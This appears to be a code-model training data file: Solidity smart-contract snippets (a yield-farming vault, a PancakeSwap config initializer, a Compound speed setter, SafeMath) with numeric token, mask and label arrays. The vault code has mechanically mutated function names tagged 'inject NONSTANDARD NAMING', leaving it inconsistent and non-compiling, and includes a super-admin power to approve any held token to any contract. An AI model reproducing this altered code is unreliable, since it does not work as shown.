if (tokenSupply == 0) { // avoids division by 0 errors
return 0;
}
hdcoreRewardWhole = pendingRewards // Multiplies pending rewards by allocation point of this pool and then total allocation
.MUL487(pool.allocPoint) // getting the percent of total pending rewards this pool should get
.DIV156(totalAllocPoint); // we can do this because pools are only mass updated
uint256 hdcoreRewardFee = hdcoreRewardWhole.MUL487(DEV_FEE).DIV156(10000);
uint256 hdcoreRewardToDistribute = hdcoreRewardWhole.SUB877(hdcoreRewardFee);
pending_DEV_rewards = pending_DEV_rewards.ADD659(hdcoreRewardFee);
pool.accHdcorePerShare = pool.accHdcorePerShare.ADD659(
hdcoreRewardToDistribute.MUL487(1e12).DIV156(tokenSupply)
);
}
// Deposit tokens to HdcoreVault for HDCORE allocation.
function DEPOSIT767(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
MASSUPDATEPOOLS941();
// Transfer pending tokens
// to user
UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender);
//Transfer in the amounts from user
// save gas
if(_amount > 0) {
pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount);
user.amount = user.amount.ADD659(_amount);
}
user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12);
emit DEPOSIT941(msg.sender, _pid, _amount);
}
// Test coverage
// [x] Does user get the deposited amounts?
// [x] Does user that its deposited for update correcty?
// [x] Does the depositor get their tokens decreased
function DEPOSITFOR318(address depositFor, uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING
// requires no allowances
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][depositFor];
MASSUPDATEPOOLS941();
// Transfer pending tokens
// to user
UPDATEANDPAYOUTPENDING193(_pid, pool, user, depositFor); // Update the balances of person that amount is being deposited for
if(_amount > 0) {
pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount);
user.amount = user.amount.ADD659(_amount); // This is depositedFor address
}
user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12);
emit DEPOSIT941(depositFor, _pid, _amount);
}
// Test coverage
// [x] Does allowance update correctly?
function SETALLOWANCEFORPOOLTOKEN927(address spender, uint256 _pid, uint256 value) public { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
pool.allowance[msg.sender][spender] = value;
emit APPROVAL172(msg.sender, spender, _pid, value);
}
// Test coverage
// [x] Does allowance decrease?
// [x] Do oyu need allowance
// [x] Withdraws to correct address
function WITHDRAWFROM678(address owner, uint256 _pid, uint256 _amount) public{ //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
require(pool.allowance[owner][msg.sender] >= _amount, "withdraw: insufficient allowance");
pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender].SUB877(_amount);
_WITHDRAW26(_pid, _amount, owner, msg.sender);
}
// Withdraw tokens from HdcoreVault.
function WITHDRAW844(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING
_WITHDRAW26(_pid, _amount, msg.sender, msg.sender);
}
// Low level withdraw function
function _WITHDRAW26(uint256 _pid, uint256 _amount, address from, address to) internal { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][from];
require(user.amount >= _amount, "withdraw: not good");
MASSUPDATEPOOLS941();
UPDATEANDPAYOUTPENDING193(_pid, pool, user, from); // Update balances of from this is not withdrawal but claiming HDCORE farmed
if(_amount > 0) {
user.amount = user.amount.SUB877(_amount);
pool.token.SAFETRANSFER239(address(to), _amount);
}
user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12);
emit WITHDRAW483(to, _pid, _amount);
}
function CLAIM95(uint256 _pid) public { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][msg.sender];
MASSUPDATEPOOLS941();
UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender);
}
function UPDATEANDPAYOUTPENDING193(uint256 _pid, PoolInfo storage pool, UserInfo storage user, address from) internal { //inject NONSTANDARD NAMING
if(user.amount == 0) return;
uint256 pending = user
.amount
.MUL487(pool.accHdcorePerShare)
.DIV156(1e12)
.SUB877(user.rewardDebt);
if(pending > 0) {
SAFEHDCORETRANSFER939(from, pending);
}
}
// function that lets owner/governance contract
// approve allowance for any token inside this contract
// This means all future UNI like airdrops are covered
// And at the same time allows us to give allowance to strategy contracts.
// Upcoming cYFI etc vaults strategy contracts will use this function to manage and farm yield on value locked
function SETSTRATEGYCONTRACTORDISTRIBUTIONCONTRACTALLOWANCE131(address tokenAddress, uint256 _amount, address contractAddress) public ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING
require(ISCONTRACT107(contractAddress), "Recipent is not a smart contract, BAD");
require(block.number > contractStartBlock.ADD659(95_000), "Governance setup grace period not over"); // about 2weeks
IERC20(tokenAddress).APPROVE926(contractAddress, _amount);
}
function ISCONTRACT107(address addr) public returns (bool) { //inject NONSTANDARD NAMING
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
// !Caution this will remove all your pending rewards!
function EMERGENCYWITHDRAW608(uint256 _pid) public { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][msg.sender];
pool.token.SAFETRANSFER239(address(msg.sender), user.amount);
emit EMERGENCYWITHDRAW770(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
// No mass update dont update pending rewards
}
// Safe hdcore transfer function, just in case if rounding error causes pool to not have enough HDCOREs.
function SAFEHDCORETRANSFER939(address _to, uint256 _amount) internal { //inject NONSTANDARD NAMING
if(_amount == 0) return;
uint256 hdcoreBal = hdcore.BALANCEOF536(address(this));
if (_amount > hdcoreBal) {
console.LOG714("transfering out for to person:", _amount);
console.LOG714("Balance of this address is :", hdcoreBal);
hdcore.TRANSFER353(_to, hdcoreBal);
hdcoreBalance = hdcore.BALANCEOF536(address(this));
} else {
hdcore.TRANSFER353(_to, _amount);
hdcoreBalance = hdcore.BALANCEOF536(address(this));
}
if(pending_DEV_rewards > 0) {
uint256 devSend = pending_DEV_rewards; // Avoid recursive loop
pending_DEV_rewards = 0;
SAFEHDCORETRANSFER939(devaddr, devSend);
}
}
// Update dev address by the previous dev.
// Note onlyOwner functions are meant for the governance contract
// allowing HDCORE governance token holders to do this functions.
function SETDEVFEERECIEVER7(address _devaddr) public ONLYOWNER691 { //inject NONSTANDARD NAMING
devaddr = _devaddr;
}
address private _superAdmin;
event SUPERADMINTRANSFERED362(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
function SUPERADMIN402() public view returns (address) { //inject NONSTANDARD NAMING
return _superAdmin;
}
modifier ONLYSUPERADMIN581() { //inject NONSTANDARD NAMING
require(_superAdmin == _MSGSENDER195(), "Super admin : caller is not super admin.");
_;
}
// Assisns super admint to address 0, making it unreachable forever
function BURNSUPERADMIN143() public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING
emit SUPERADMINTRANSFERED362(_superAdmin, address(0));
_superAdmin = address(0);
}
// Super admin can transfer its powers to another address
function NEWSUPERADMIN397(address newOwner) public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit SUPERADMINTRANSFERED362(_superAdmin, newOwner);
_superAdmin = newOwner;
}
} | inject NONSTANDARD NAMING
| function LOGBYTES11706(bytes11 p0) internal view { | 14,087,621 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
915,
2018,
13718,
2499,
7301,
26,
12,
3890,
2499,
293,
20,
13,
2713,
1476,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/56/0xcf5f8F32A6bC034FFA358714b113e8Fdf7Fbffa0/sources/project_/contracts/BaseConfig.sol | StakingPool = IStakingPool(_StakingPoolAddress); CAFBnbLpToken = IERC20Upgradeable(_CAFBnbLpTokenAddress); AveragePriceOracle = IAveragePriceOracle(_AveragePriceOracleAddress); | ) internal {
_grantRole(DEFAULT_ADMIN_ROLE, _Admin);
_grantRole(FUNDS_RECOVERY_ROLE,_Admin);
require(_Admin != address(0), "Admin address cannot be zero address");
require(_StakingContractAddress != address(0), "Staking contract address cannot be zero address");
require(_CAFTokenAddress != address(0), "CAF token address cannot be zero address");
require(_DevTeamAddress != address(0), "Dev team address cannot be zero address");
require(_ReferralAddress != address(0), "Referral address cannot be zero address");
require(_DEXAddress != address(0), "DEX address cannot be zero address");
require(_PoolID != 0, "pool ID cannot be zero");
StakingContract = IMasterChef(_StakingContractAddress);
CAFToken = (_CAFTokenAddress);
Referral = IReferral(_ReferralAddress);
DEX = IDEX(_DEXAddress);
DevTeam = _DevTeamAddress;
PoolID = _PoolID;
address lpToken = StakingContract.lpToken(PoolID);
LPToken = IPancakeV2Pair(lpToken);
TokenA = IERC20Upgradeable(LPToken.token0());
TokenB = IERC20Upgradeable(LPToken.token1());
RewardToken = IERC20Upgradeable(StakingContract.CAKE());
IERC20Upgradeable(address(LPToken)).safeApprove(
address(StakingContract),
type(uint256).max
);
IERC20Upgradeable(address(RewardToken)).safeApprove(
address(DEX),
type(uint256).max
);
IERC20Upgradeable(address(LPToken)).safeApprove(
address(DEX),
type(uint256).max
);
}
uint256[50] private __gap;
| 3,250,017 | [
1,
510,
6159,
2864,
273,
467,
510,
6159,
2864,
24899,
510,
6159,
2864,
1887,
1769,
6425,
22201,
6423,
48,
84,
1345,
273,
467,
654,
39,
3462,
10784,
429,
24899,
3587,
22201,
6423,
48,
84,
1345,
1887,
1769,
27275,
5147,
23601,
273,
467,
17115,
5147,
23601,
24899,
17115,
5147,
23601,
1887,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
262,
2713,
288,
203,
3639,
389,
16243,
2996,
12,
5280,
67,
15468,
67,
16256,
16,
389,
4446,
1769,
203,
3639,
389,
16243,
2996,
12,
42,
2124,
3948,
67,
30724,
17529,
67,
16256,
16,
67,
4446,
1769,
203,
6528,
24899,
4446,
480,
1758,
12,
20,
3631,
315,
4446,
1758,
2780,
506,
3634,
1758,
8863,
203,
6528,
24899,
510,
6159,
8924,
1887,
480,
1758,
12,
20,
3631,
315,
510,
6159,
6835,
1758,
2780,
506,
3634,
1758,
8863,
203,
6528,
24899,
3587,
42,
1345,
1887,
480,
1758,
12,
20,
3631,
315,
3587,
42,
1147,
1758,
2780,
506,
3634,
1758,
8863,
203,
6528,
24899,
8870,
8689,
1887,
480,
1758,
12,
20,
3631,
315,
8870,
5927,
1758,
2780,
506,
3634,
1758,
8863,
203,
6528,
24899,
1957,
29084,
1887,
480,
1758,
12,
20,
3631,
315,
1957,
29084,
1758,
2780,
506,
3634,
1758,
8863,
203,
6528,
24899,
6832,
1887,
480,
1758,
12,
20,
3631,
315,
6832,
1758,
2780,
506,
3634,
1758,
8863,
203,
6528,
24899,
2864,
734,
480,
374,
16,
315,
6011,
1599,
2780,
506,
3634,
8863,
203,
3639,
934,
6159,
8924,
273,
6246,
2440,
39,
580,
74,
24899,
510,
6159,
8924,
1887,
1769,
203,
3639,
6425,
42,
1345,
273,
261,
67,
3587,
42,
1345,
1887,
1769,
203,
3639,
3941,
29084,
273,
467,
1957,
29084,
24899,
1957,
29084,
1887,
1769,
203,
3639,
2030,
60,
273,
1599,
2294,
24899,
6832,
1887,
1769,
203,
203,
3639,
9562,
8689,
273,
389,
8870,
8689,
1887,
31,
203,
3639,
8828,
734,
273,
389,
2864,
734,
31,
203,
203,
3639,
1758,
12423,
1345,
273,
934,
6159,
2
] |
./partial_match/42/0x3dA2ca46Af2Ab9Ae5265862fe37a71Cd9F630b70/sources/contracts/Comptroller.sol | * @notice Set COMP speed for a single contributor @param contributor The contributor whose COMP speed to update @param compSpeed New COMP speed for contributor/ note that COMP speed could be set to 0 to halt liquidity rewards for a contributor | function _setContributorCompSpeed(address contributor, uint compSpeed) public {
require(adminOrInitializing(), "only admin can set comp speed");
updateContributorRewards(contributor);
if (compSpeed == 0) {
delete lastContributorBlock[contributor];
}
lastContributorBlock[contributor] = getBlockNumber();
compContributorSpeeds[contributor] = compSpeed;
emit ContributorCompSpeedUpdated(contributor, compSpeed);
}
| 3,465,949 | [
1,
694,
13846,
8632,
364,
279,
2202,
31123,
225,
31123,
1021,
31123,
8272,
13846,
8632,
358,
1089,
225,
1161,
16562,
1166,
13846,
8632,
364,
31123,
19,
4721,
716,
13846,
8632,
3377,
506,
444,
358,
374,
358,
18389,
4501,
372,
24237,
283,
6397,
364,
279,
31123,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
542,
442,
19293,
2945,
16562,
12,
2867,
31123,
16,
2254,
1161,
16562,
13,
1071,
288,
203,
3639,
2583,
12,
3666,
1162,
29782,
9334,
315,
3700,
3981,
848,
444,
1161,
8632,
8863,
203,
203,
3639,
1089,
442,
19293,
17631,
14727,
12,
591,
19293,
1769,
203,
3639,
309,
261,
2919,
16562,
422,
374,
13,
288,
203,
5411,
1430,
1142,
442,
19293,
1768,
63,
591,
19293,
15533,
203,
3639,
289,
203,
3639,
1142,
442,
19293,
1768,
63,
591,
19293,
65,
273,
11902,
1854,
5621,
203,
3639,
1161,
442,
19293,
16562,
87,
63,
591,
19293,
65,
273,
1161,
16562,
31,
203,
203,
3639,
3626,
735,
19293,
2945,
16562,
7381,
12,
591,
19293,
16,
1161,
16562,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x3edf71a31b80Ff6a45Fdb0858eC54DE98dF047AA/sources/BAE.sol | * @title SafeMath @dev Unsigned math operations with safety checks that revert on error/ | library SafeMath {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
| 15,516,150 | [
1,
9890,
10477,
225,
1351,
5679,
4233,
5295,
598,
24179,
4271,
716,
15226,
603,
555,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
14060,
10477,
288,
203,
203,
97,
203,
203,
225,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
309,
261,
69,
422,
374,
13,
288,
203,
1377,
327,
374,
31,
203,
565,
289,
203,
203,
565,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
565,
2583,
12,
71,
342,
279,
422,
324,
16,
315,
9890,
10477,
7,
16411,
30,
22577,
17430,
8863,
203,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
309,
261,
69,
422,
374,
13,
288,
203,
1377,
327,
374,
31,
203,
565,
289,
203,
203,
565,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
565,
2583,
12,
71,
342,
279,
422,
324,
16,
315,
9890,
10477,
7,
16411,
30,
22577,
17430,
8863,
203,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
3739,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2583,
12,
70,
405,
374,
16,
315,
9890,
10477,
7,
2892,
30,
3690,
25216,
67,
6486,
67,
24968,
8863,
203,
565,
2254,
5034,
276,
273,
279,
342,
324,
31,
203,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2583,
12,
70,
1648,
279,
2
] |
./full_match/421613/0x712A3480705560bB3158c8933403B04564305158/sources/project_/contracts/tokens/Corn.sol | Return Collectible to the address that is calling this function. [RE-ENTRANCY WARNING] external call, must be at the end
| IERC721(farmlandCollectible).safeTransferFrom(address(this),_msgSender(),collectibleID); | 11,566,863 | [
1,
990,
9302,
1523,
358,
326,
1758,
716,
353,
4440,
333,
445,
18,
306,
862,
17,
2222,
54,
1258,
16068,
9744,
65,
3903,
745,
16,
1297,
506,
622,
326,
679,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
467,
654,
39,
27,
5340,
12,
31246,
781,
464,
10808,
1523,
2934,
4626,
5912,
1265,
12,
2867,
12,
2211,
3631,
67,
3576,
12021,
9334,
14676,
1523,
734,
1769,
29159,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
